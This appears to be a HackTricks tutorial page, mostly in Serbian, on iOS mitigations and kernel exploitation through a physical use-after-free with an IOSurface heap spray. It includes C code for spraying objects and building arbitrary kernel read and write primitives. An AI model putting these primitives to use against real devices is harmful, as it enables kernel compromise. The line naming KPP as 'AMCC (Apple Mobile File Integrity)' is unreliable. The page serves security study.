iOS Physical Use After Free via IOSurface
Reading time: 12 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
iOS Exploit Mitigations
- Code Signing in iOS radi tako što zahteva da svaki komad izvršnog koda (apps, libraries, extensions, itd.) bude kriptografski potpisan sertifikatom izdatim od Apple-a. Kada se kod učitava, iOS proverava digitalni potpis naspram Apple-ovog poverljivog root-a. Ako je potpis nevažeći, nedostaje ili je izmenjen, OS odbija da ga pokrene. Ovo sprečava napadače da ubacuju maliciozni kod u legitimne aplikacije ili da pokreću unsigned binare, efikasno zaustavljajući većinu exploit lanaca koji zavise od izvršavanja proizvoljnog ili izmenjenog koda.
- CoreTrust je iOS pod-sistem odgovoran za sprovođenje code signing-a u runtime-u. Direktno verifikuje potpise koristeći Apple-ov root sertifikat bez oslanjanja na keširane trust store-ove, što znači da samo binari potpisani od Apple-a (ili sa validnim entitlements) mogu da se izvršavaju. CoreTrust osigurava da čak i ako napadač izmeni aplikaciju posle instalacije, modifikuje sistemske biblioteke ili pokuša da učita unsigned kod, sistem će blokirati izvršavanje osim ako je kod i dalje ispravno potpisan. Ovo strogo sprovođenje zatvara mnoge post-exploitation vektore koje su starije verzije iOS-a dopuštale kroz slabije ili zaobilažljive provere potpisa.
- Data Execution Prevention (DEP) označava regiona memorije kao non-executable osim ako eksplicitno ne sadrže kod. To sprečava napadače da ubace shellcode u data regione (poput stack-a ili heap-a) i pokrenu ga, terajući ih da koriste kompleksnije tehnike kao što su ROP (Return-Oriented Programming).
- ASLR (Address Space Layout Randomization) nasumično raspoređuje adrese memorije za kod, biblioteke, stack i heap pri svakom pokretanju sistema. To otežava napadačima da predvide gde se nalaze korisne instrukcije ili gadget-i, rušeći mnoge exploit lance koji zavise od fiksnih layout-a memorije.
- KASLR (Kernel ASLR) primenjuje isti koncept randomizacije na iOS kernel. Mešanjem kernel base adrese pri svakom boot-u, sprečava napadače da pouzdano lociraju kernel funkcije ili strukture, povećavajući težinu kernel-level exploit-a koji bi inače dobili potpunu kontrolu nad sistemom.
- Kernel Patch Protection (KPP) takođe poznat kao AMCC (Apple Mobile File Integrity) u iOS-u, kontinuirano nadgleda code pages kernela da bi osigurao da nisu modifikovane. Ako se detektuje bilo kakvo diranje—kao kad exploit pokuša da patch-uje kernel funkcije ili ubaci maliciozni kod—uređaj će odmah panic-ovati i reboot-ovati. Ova zaštita otežava persistentne kernel exploit-e, jer napadači ne mogu jednostavno da hook-uju ili patch-uju kernel instrukcije bez izazivanja sistemskog crash-a.
- Kernel Text Readonly Region (KTRR) je hardverski bazirana sigurnosna funkcija uvedena na iOS uređajima. Koristi CPU-ov memory controller da označi kernel-ov code (text) segment kao trajno read-only nakon boot-a. Jednom zaključan, čak ni kernel sam ne može modifikovati ovaj region memorije. To sprečava napadače—i čak privilegovani kod—from patch-ovanja kernel instrukcija u runtime-u, zatvarajući veliki klas exploits koji su zavisili od direktne izmene kernel koda.
- Pointer Authentication Codes (PAC) koriste kriptografske potpise ugrađene u neiskorišćene bitove pokazivača da provere njihov integritet pre upotrebe. Kada se pointer (kao return address ili function pointer) kreira, CPU ga potpisuje sa tajnim ključem; pre dereferenciranja, CPU proverava potpis. Ako je pointer izmenjen, provera ne uspeva i izvršavanje se zaustavlja. Ovo sprečava napadače da falsifikuju ili ponovo koriste korumpirane pointer-e u memory corruption exploit-ima, čineći tehnike poput ROP ili JOP mnogo težim za pouzdano izvođenje.
- Privilege Access never (PAN) je hardverska karakteristika koja sprečava kernel (privileged mode) da direktno pristupa user-space memoriji osim ako eksplicitno ne omogući pristup. Ovo onemogućava napadače koji su dobili kernel code execution da jednostavno čitaju ili pišu user memoriju radi eskalacije ili krađe osetljivih podataka. Postrojavajući strogu separaciju, PAN smanjuje uticaj kernel exploit-a i blokira mnoge uobičajene privilege-escalation tehnike.
- Page Protection Layer (PPL) je iOS sigurnosni mehanizam koji štiti kritične kernel-managed memorijske regione, posebno one vezane za code signing i entitlements. Primjenjuje stroge write zaštite koristeći MMU (Memory Management Unit) i dodatne provere, osiguravajući da čak ni privilegovani kernel kod ne može proizvoljno menjati osetljive stranice. Ovo sprečava napadače koji dobiju kernel-level execution da diraju sigurnosno-kritične strukture, značajno otežavajući postizanje persistence-a i bypass-ovanje code-signinga.
Physical use-after-free
This is a summary from the post from https://alfiecg.uk/2024/09/24/Kernel-exploit.html moreover further information about exploit using this technique can be found in https://github.com/felix-pb/kfd
Memory management in XNU
The virtual memory address space for user processes on iOS spans from 0x0 to 0x8000000000. However, these addresses don’t directly map to physical memory. Instead, the kernel uses page tables to translate virtual addresses into actual physical addresses.
Levels of Page Tables in iOS
Page tables are organized hierarchically in three levels:
- L1 Page Table (Level 1):
- Each entry here represents a large range of virtual memory.
- It covers 0x1000000000 bytes (or 256 GB) of virtual memory.
- L2 Page Table (Level 2):
- An entry here represents a smaller region of virtual memory, specifically 0x2000000 bytes (32 MB).
- An L1 entry may point to an L2 table if it can't map the entire region itself.
- L3 Page Table (Level 3):
- This is the finest level, where each entry maps a single 4 KB memory page.
- An L2 entry may point to an L3 table if more granular control is needed.
Mapping Virtual to Physical Memory
- Direct Mapping (Block Mapping):
- Some entries in a page table directly map a range of virtual addresses to a contiguous range of physical addresses (like a shortcut).
- Pointer to Child Page Table:
- If finer control is needed, an entry in one level (e.g., L1) can point to a child page table at the next level (e.g., L2).
Example: Mapping a Virtual Address
Let’s say you try to access the virtual address 0x1000000000:
- L1 Table:
- The kernel checks the L1 page table entry corresponding to this virtual address. If it has a pointer to an L2 page table, it goes to that L2 table.
- L2 Table:
- The kernel checks the L2 page table for a more detailed mapping. If this entry points to an L3 page table, it proceeds there.
- L3 Table:
- The kernel looks up the final L3 entry, which points to the physical address of the actual memory page.
Example of Address Mapping
If you write the physical address 0x800004000 into the first index of the L2 table, then:
- Virtual addresses from 0x1000000000 to 0x1002000000 map to physical addresses from 0x800004000 to 0x802004000.
- This is a block mapping at the L2 level.
Alternatively, if the L2 entry points to an L3 table:
- Each 4 KB page in the virtual address range 0x1000000000 -> 0x1002000000 would be mapped by individual entries in the L3 table.
Physical use-after-free
A physical use-after-free (UAF) occurs when:
- A process allocates some memory as readable and writable.
- The page tables are updated to map this memory to a specific physical address that the process can access.
- The process deallocates (frees) the memory.
- However, due to a bug, the kernel forgets to remove the mapping from the page tables, even though it marks the corresponding physical memory as free.
- The kernel can then reallocate this "freed" physical memory for other purposes, like kernel data.
- Since the mapping wasn’t removed, the process can still read and write to this physical memory.
This means the process can access pages of kernel memory, which could contain sensitive data or structures, potentially allowing an attacker to manipulate kernel memory.
IOSurface Heap Spray
Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called heap spray:
- The attacker creates a large number of IOSurface objects in kernel memory.
- Each IOSurface object contains a magic value in one of its fields, making it easy to identify.
- They scan the freed pages to see if any of these IOSurface objects landed on a freed page.
- When they find an IOSurface object on a freed page, they can use it to read and write kernel memory.
More info about this in https://github.com/felix-pb/kfd/tree/main/writeups
tip
Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable.
PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked.
Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks.
KTRR (Kernel Text Read-Only Region), which locks down the kernel’s code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on.
Moreover, IOSurface allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And IOSurface is now guarded by entitlements and sandbox restrictions.
Step-by-Step Heap Spray Process
- Spray IOSurface Objects: The attacker creates many IOSurface objects with a special identifier ("magic value").
- Scan Freed Pages: They check if any of the objects have been allocated on a freed page.
- Read/Write Kernel Memory: By manipulating fields in the IOSurface object, they gain the ability to perform arbitrary reads and writes in kernel memory. This lets them:
- Use one field to read any 32-bit value in kernel memory.
- Use another field to write 64-bit values, achieving a stable kernel read/write primitive.
Generate IOSurface objects with the magic value IOSURFACE_MAGIC to later search for:
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
Potražite IOSurface objekte u jednoj oslobođenoj fizičkoj stranici:
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
Postizanje Kernel read/write pristupa sa IOSurface
Nakon što ostvarimo kontrolu nad IOSurface objektom u kernel memoriji (mapiranom na oslobođenu fizičku stranicu dostupnu iz userspace), možemo ga iskoristiti za proizvoljne kernel read i write operacije.
Ključna polja u IOSurface
Objekat IOSurface ima dva bitna polja:
- Use Count Pointer: Omogućava 32-bit read.
- Indexed Timestamp Pointer: Omogućava 64-bit write.
Prepisivanjem ovih pokazivača preusmeravamo ih na proizvoljne adrese u kernel memoriji, omogućavajući read/write mogućnosti.
32-Bit Kernel Read
Za izvođenje čitanja:
- Prepišite use count pointer tako da pokazuje na ciljnu adresu umanjenu za offset od 0x14 bajta.
- Upotrebite
get_use_countmetodu da pročitate vrednost na toj adresi.
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
64-Bit Kernel Write
Da biste izvršili upis:
- Prepišite indexed timestamp pointer na ciljnu adresu.
- Koristite
set_indexed_timestampmetodu da upišete 64-bitnu vrednost.
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
Rekapitulacija toka exploita
- Okini Physical Use-After-Free: Slobodne stranice su dostupne za ponovno korišćenje.
- Spray IOSurface Objects: Alociraj mnogo IOSurface objekata sa jedinstvenom "magic value" u kernel memoriji.
- Identify Accessible IOSurface: Pronađi IOSurface na oslobođenoj stranici koju kontrolišeš.
- Abuse Use-After-Free: Izmeni pokazivače u IOSurface objektu kako bi omogućio proizvoljno kernel read/write putem IOSurface metoda.
Uz ove primitive, exploit obezbeđuje kontrolisane 32-bit reads i 64-bit writes u kernel memoriju. Dalji koraci jailbreak-a mogu zahtevati stabilnije read/write primitive, koje mogu zahtevati zaobilaženje dodatnih zaštita (npr. PPL na novijim arm64e uređajima).
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks